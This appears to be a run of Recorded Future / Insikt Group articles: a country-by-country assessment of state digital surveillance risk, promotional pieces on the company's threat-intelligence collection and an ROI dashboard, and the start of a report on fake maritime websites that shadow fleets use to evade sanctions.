• Insikt Group assesses that there are “high” or “very high” levels of digital surveillance risk in 31 countries due to their use of advanced surveillance capabilities against foreign businesses, travelers, and government critics, with limited to no oversight.
• A further 74 countries have “medium” levels of digital surveillance risk. While 55 of these countries are not known to have deployed advanced surveillance capabilities, there is evidence that their governments have deployed less sophisticated surveillance measures for a variety of purposes, which may include monitoring political opposition, human rights activists, and journalists. The remainder (19) of countries in this category possess advanced surveillance capabilities, but are not known to typically use them in violation of national or international laws.
• By exploiting control over telecommunications infrastructure and online platforms, governments can conduct mass, indiscriminate monitoring of traffic and user data. The risk of abuse of network interception and platform-level access is almost certainly greatest where judicial authorization requirements and procedural safeguards are weak.
• The proliferation of commercial spyware, AI-powered public security infrastructure, and increasing collection of biometric and personal data almost certainly enables governments to build comprehensive digital profiles of individuals and leverage them for targeted surveillance operations.
• Digital surveillance that is not subject to robust oversight and does not abide by the principles of legality, necessity, and proportionality very likely incurs heightened operational, reputational, and legal costs for organizations and individuals, including the loss of sensitive data, the proliferation of cyber vulnerabilities, and legal and physical risks.

Components of Surveillance Risk

Insikt Group regularly assesses risks to business travelers and foreign nationals from government-run digital surveillance operations in 193 countries using Recorded Future’s Country Risk analytic framework. Customers can access Country Risk analysis by querying for State Surveillance Notes in the Recorded Future Intelligence Operations Platform. State Surveillance Notes assess the overall level of state surveillance risk in a given country based on three primary categories:

• Surveillance Capabilities: The ability of intelligence services, law enforcement agencies, or other state-affiliated or directed entities to undertake digital surveillance, and the scope of these digital surveillance capabilities. This category includes the capabilities of a variety of state and state-nexus actors, including specialized surveillance agencies with broad access to digital infrastructure, state-affiliated groups that deploy spyware for cyber espionage, and individual law enforcement units that carry out traditional wiretapping.

• History of Digital Surveillance Operations: A government’s historical willingness to carry out unlawful, arbitrary, or overbroad digital surveillance operations. This can include surveillance that violates national law — such as government entities monitoring communications without appropriate authorization — but also covers surveillance that may be sanctioned under national legislation but violates international principles of legality, necessity, and proportionality.

• Oversight Mechanisms: The existence and efficacy of judicial, legislative, or independent oversight bodies that approve and monitor a government’s digital surveillance operations for compliance with domestic and international law.

A comprehensive evaluation of state surveillance risk in a country requires a composite assessment that takes into account all three categories. For example, a country purchasing high-profile spyware may not, by itself, indicate a high level of risk to business travelers or foreign nationals, provided that the government has a good track record of respecting domestic and international privacy protections and has strong judicial and legislative oversight of intelligence and security agencies. In contrast, a country with less advanced capabilities, but strict control over internet infrastructure and few restrictions on the government’s ability to collect user data, likely poses a greater risk to travelers’ and foreign nationals’ data security.

Insikt Group assesses whether a country’s history of digital surveillance constitutes a risk to foreign nationals and travelers based on its alignment with international principles on privacy and digital rights. Article 12 of the United Nations (UN) Universal Declaration of Human Rights establishes that no individual “shall be subjected to arbitrary interference with his privacy, family, home, or correspondence”. A 2022 UN General Assembly resolution on privacy in the digital age states that

“unlawful or arbitrary surveillance and/or interception of communications, as well as the unlawful or arbitrary collection of personal data, hacking and the unlawful use of biometric technologies, as highly intrusive acts, violate the right to privacy” and that states should ensure that any interference with this right is consistent with principles of “legality, necessity, and proportionality.”

“Legality,” in this formulation, requires that surveillance or interception be prescribed by “a legal framework, which must be publicly accessible, clear, precise, comprehensive and non-discriminatory.” Surveillance must also be necessary to further the purposes identified in corresponding law, take the least intrusive form required to do so, and be proportionate in scope to the interest being protected.

Key Components of State Digital Surveillance Risk

Table 1: State surveillance risk level is a function of not only a jurisdiction’s surveillance capabilities, but also its history of deployment of those capabilities and oversight mechanisms (Source: Recorded Future)

Applying these criteria, and based on data collected from 2024 to 2026, Insikt Group has assessed the level of risk associated with state digital surveillance in 193 countries:

• Six countries (3%) –– Belarus, China, Iran, Myanmar, North Korea, and Russia –– are “very high risk,” denoting evidence of advanced surveillance capabilities, a lack of independent oversight, regular surveillance targeting foreign businesses and travelers, and widespread suppression of political opposition or dissent.
• 25 countries (13%) are “high risk,” indicating evidence of moderate to advanced surveillance capabilities, limited independent oversight, and the use of surveillance tools to repress domestic political opposition, activism, or reporting critical of the government.
• 74 countries (38%) are “medium risk,” either indicating evidence of advanced surveillance capabilities that are not typically used in violation of national or international laws (19 countries), or evidence of less advanced capabilities that are frequently employed to suppress political dissent and activism (55 countries). While countries in this risk tier may have established systems for oversight or judicial review, government surveillance operations do not always abide by their purview.
• 65 countries (34%) are “low risk,” indicating evidence of moderate to advanced surveillance capabilities exercised under strong oversight with established records of avoiding unlawful or arbitrary surveillance (39 countries), or evidence of limited surveillance capabilities (26).
• 23 countries (12%) are “very low risk,” indicating minimal ability to conduct digital surveillance, well-established oversight mechanisms, and no indications of surveillance abuses.

Figure 1: State surveillance risks by country from medium to very high risk based on data collected from 2024 to 2026 (Source: Recorded Future)

When a critical vulnerability emerges, most organizations scramble for answers.

What’s being exploited?
Who’s targeting it?
Are we exposed?

During the emergence of the React2Shell vulnerability, one Recorded Future customer didn’t rely on speculation. Using Recorded Future’s IP scanning intelligence, they identified which IPs were actively scanning for exploitation, analyzed the exact request patterns being used, and immediately assessed their own exposure.

Instead of reacting to headlines, they acted on real-time intelligence.

In the first article in our series covering our unique data sourcing model, we looked at why source scale and diversity are essential for maximum threat protection. Now we’ll explain the four source types in more detail to see how, together, they empower our customers to prioritize, pinpoint, and act faster to stop threats.

This is the power of Recorded Future’s technical collection engine.

Technical intelligence at internet scale

Recorded Future continuously collects and analyzes telemetry from across the internet, including:

• Network traffic analysis across billions of daily network intelligence records (with over 200 points of presence (PoP))
• Internet-wide scanning and infrastructure monitoring
• Malware detonation and behavioral analysis
• Vulnerability exploitation tracking

This technical intelligence provides direct visibility into attacker infrastructure, behavior, and intent.

Finding what others miss

Technical collection becomes most valuable when it reveals what’s hidden.

In one investigation, Recorded Future identified suspicious traffic on a specific port through its Malicious Traffic Analysis. This insight led a security team to uncover additional command-and-control communication that had been missed due to incomplete logging, expanding the scope of the compromise.

This isn’t just detection—it’s discovery.

Deep malware intelligence through sandboxing

Understanding malware requires more than static indicators.

Recorded Future processes over 1.5 million malware samples daily through its sandbox, enabling deep behavioral analysis of:

• Command-line execution
• Process activity
• Network communication
• Exploit techniques

This allows analysts to move beyond “Is this malicious?” to:

• How does it behave?
• What infrastructure does it use?
• How can we detect it elsewhere?

Customers consistently highlight this capability as transformative.

In one case, a security analyst identified a unique command-line artifact within sandbox results. By pivoting on that behavior in their environment, they uncovered an additional infection vector that would have otherwise gone undetected—avoiding a far more complex incident response scenario.

Intelligence from the underground

Technical signals alone don’t tell the full story.

Recorded Future augments telemetry with intelligence from criminal forums, marketplaces, and adversary communications, revealing:

• Stolen data and credentials
• Emerging attack techniques
• Threat actor intent
• Ransomware victimology
• Telegram

This provides critical context for prioritizing risk and understanding adversary motivations.

Community intelligence: strength in numbers

Recorded Future’s Collective Insights capability aggregates detections across organizations, helping customers identify patterns they might not see alone. This is especially important for preparing for monthly C-suite briefs on the latest threat assessments.

One logistics customer used this capability to investigate a multi-stage intrusion, correlating activity across their environment and linking it to nation-state actors in real time. Another customer uses Collective Insights to provide clear visibility into the specific malware most frequently blocked within their own environment, rather than relying on general trends.

This shared intelligence transforms isolated detections into campaign-level understanding.

Proactive defense in practice

This combination of technical, underground, and community intelligence enables proactive defense.

Customers often use Recorded Future’s Threat Map to identify an emerging threat actor and deploy detections in advance. Weeks later, when the actor launches a phishing campaign, customers can immediately detect and block the activity—preventing compromise before it begins.

Where open source fits

Open-source intelligence provides valuable context, but on its own it’s incomplete. Without technical telemetry, behavioral analysis, and external digital risk monitoring, organizations risk seeing only part of the threat landscape.

At Recorded Future, open sources are one part of a broader intelligence ecosystem that also supports data leakage detection, code repository monitoring, social media monitoring, and analysis of web infrastructure and content—including HTML and DOM elements—to identify brand abuse, exposed data, impersonation, and other external threats.

The bottom line

Recorded Future’s technical collection engine doesn’t just gather data. It reveals:

• Who’s attacking
• How attacks are executed
• Where infrastructure is operating
• When action is required

One platform for comprehensive threat intelligence

While some platforms focus on immediate detection, the Recorded Future Platform maintains years of historical data to reveal long-term patterns. And it automatically connects intelligence from diverse sources, turning separate data streams into unified insights.

From initial reconnaissance through criminal planning, active infrastructure attacks, and malware deployment, our four intelligence source types work together to enable proactive defense across the entire attack lifecycle.

In the next blog in our series, we’ll show how human experts connect the dots, validating our intelligence and making it actionable so you can prevent threats.

To see our four types of data sources in action in the Recorded Future Platform, request a custom demo.

Security teams have always known that intelligence drives better outcomes. The hard part has been proving it in the language of the business. Boards, CFOs, and CIOs aren't asking for threat counts. They want measurable risk reduction tied to business context, and they want it in numbers they can defend.

Our 2025 ROI Report, validated across nearly 300 customers, puts numbers to what security teams already know. Recorded Future customers have reported achieving 351.3% ROI annually. 57% say the platform has substantially reduced their overall cyber risk. 96% would recommend it to a peer.

But the numbers that resonate most are not the averages. They are the attacks that your team was able to get ahead of. Ransomware stopped before detonation. Credentials reset before an adversary could use them. Fraud campaigns contained before they could reach customers. Until now, capturing that story meant pulling data from across the platform, stitching it together by hand, and rebuilding the same readout every quarter.

The most powerful version of that story is yours and that is what the Impact and Metrics Dashboard is built to show.

What the dashboard covers

Platform-Wide Security Value: Your headline number. Aggregate risk reduction and intelligence coverage across your environment, built for leadership conversations.

Threat Prioritization: See which threat actors and malware families are relevant to your organization, and how Recorded Future AI cuts noise so your team focuses on what matters. Customers who aligned their alerting to PIRs reported identifying new threats 65% faster.

Threat Detection: Understand how intelligence is moving through your security stack, from malware detected in your telemetry to integrations and threat hunting activity. Customers often receive critical alerts hours or days earlier than from other vendors.

Digital Risk Protection: Quantify exposure reduced from fraud, brand impersonation, and credential threats. For organizations with significant brand or customer risk, this is where ROI becomes immediately tangible and immediately explainable to a CFO.

Account & Credential Monitoring: See identity threats surfaced and remediated before they became incidents.

Recorded Future AI & Insikt GroupⓇ Research: Recorded Future’s expert Intelligence team & AI does the work for you, providing deeper insights than most teams could do alone. Measure analyst hours recaptured through AI-powered automation and the volume of expert research your team has put to work. Your efficiency case, in your own numbers.

Today the dashboard surfaces key metrics to start the conversation and give your team something concrete to point to. Over time the calculations will get more personalized, the benchmarks more specific to your organization, and the integration with your business context deeper.

The Impact and Metrics Dashboard is available now for every customer. To find it, navigate to Dashboards > Impact and Metrics in your Recorded Future instance. For setup help or questions, contact your Technical Account Manager (TAM).

Iranian and Russian shadow fleet vessels, along with multiple sanctions evasion networks (SENs), are using online infrastructure likely designed to facilitate sanctions evasion. The infrastructure consists of inauthentic websites impersonating ship registries, national maritime administrations, seafarer training and certification organizations, protection and indemnity (P&I) clubs, and ship classification societies, effectively replicating key layers of the maritime compliance stack. The websites are likely being used to circumvent maritime compliance mechanisms by generating and corroborating false documents and certificates.

The online infrastructure is consistent with a service-provider model in which threat actors offer reusable digital infrastructure, documentation, and identities, rather than operating as centrally coordinated, country-specific networks. Three identified clusters of online activity –– designated as Alpha, Bravo, and Charlie for the purposes of this report –– have several technical overlaps, suggesting these clusters may form a broader, loosely connected ecosystem of online infrastructure supporting multiple SENs. This activity also aligns with prior reporting by Bellingcat and Lloyd’s List and demonstrates potential links between the two reports across these three clusters.

This infrastructure blends established sanctions evasion practices, such as exploiting weak jurisdictional oversight in under-resourced jurisdictions to conduct fraudulent ship flag registrations, with increasingly cyber-enabled tactics such as automated document generation and layered infrastructure to produce fraudulent documents and credible front companies, complicating detection and enforcement.

Cyber-enabled SENs almost certainly undermine sanctions compliance mechanisms by developing credible but fraudulent maritime organizations, increasing the risk of due diligence failures and regulatory exposure. Organizations in the maritime and shipping sectors should integrate independent verification and cyber threat intelligence into compliance workflows to proactively identify fraudulent online infrastructure. Governments whose authorities are regularly impersonated by SENs and associated service providers should prioritize coordinated identification and disruption of fraudulent infrastructure, particularly where threat actors claim multi-jurisdictional legitimacy.

Key Findings

• SENs tied to the Iranian and Russian shadow fleets are likely using over 36 inauthentic websites in three distinct clusters. Insikt Group identified explicit connections between these websites and seventeen vessels, the majority of which have already been sanctioned by the United States (US) Department of the Treasury (USDT)’s Office of Foreign Asset Control (OFAC) and by other countries.
• Inauthentic websites identified as part of these clusters routinely impersonate national maritime administrations and ship registries from countries such as the Comoros and Benin, as well as Bhutan, Cameroon, Chad, Equatorial Guinea, Gambia, Haiti, Malawi, Nicaragua, and Zambia.
• Other websites also aim to establish fictional ship classification societies as credible registered organizations (ROs), in addition to several websites acting as fictional seafarer training and certification organizations and P&I clubs.
• One website impersonates the Benin Maritime Administration and provides a self-service tool to generate fraudulent seafarer documents from the governments of Benin, the Comoros, and Nicaragua.
• Attribution for at least two of the clusters documented in this report includes Cluster Alpha, which is likely to have been at least partially developed by an Indian web development company, Oceaniek Technologies. Cluster Bravo is linked to two Syrian nationals, one of whom has previous historical involvement in illicit activity. Cluster Charlie remains unattributed, although it shares technical and design characteristics with Cluster Bravo.

Background

Three partially overlapping clusters of online infrastructure are likely being used by both the Iranian and Russian shadow fleets to evade sanctions (Figure 1). The three clusters (designated Alpha, Bravo, and Charlie) are connected through shared infrastructure, consistent domain registration patterns, and recurring operational security (OPSEC) mistakes.

The activity described in this report also overlaps with two previously unconnected activity clusters described by Bellingcat and Lloyd’s List –– the first tied to Indian web development company Oceaniek Technologies, and the second to a cluster of fraudulent ship registries centered around the domain marinegov[.]net. This activity also aligns with prior reporting from independent researcher Christian Panton, who collaborated with both Bellingcat and Lloyd’s List.

Unlike traditional intrusion sets, these websites enabling maritime fraud and sanctions evasion form a complex network involving front companies, individuals, and vessels. However, Insikt Group has established initial attribution to one of the clusters to two Syrian nationals, with one individual having a record of previous involvement in illicit activities.

Figure 1: Clusters identified by Insikt Group (Source: Recorded Future)